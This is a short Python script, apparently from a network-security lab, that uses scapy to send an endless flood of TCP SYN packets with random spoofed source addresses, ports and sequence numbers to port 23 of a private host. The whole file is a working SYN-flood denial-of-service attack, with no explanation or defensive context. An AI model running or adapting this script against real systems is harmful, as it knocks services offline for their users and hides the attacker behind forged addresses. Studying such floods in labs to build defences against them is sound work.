#!/usr/bin/python3 from scapy.all import IP, TCP, send from ipaddress import IPv4Address from random import getrandbits ip = IP(dst="10.3.0.4") tcp = TCP(dport=23, flags='S') pkt = ip/tcp while True: pkt[IP].src = str(IPv4Address(getrandbits(32))) pkt[TCP].sport = getrandbits(16) pkt[TCP].seq = getrandbits(32) send(pkt, iface = 'eth0', verbose = 0)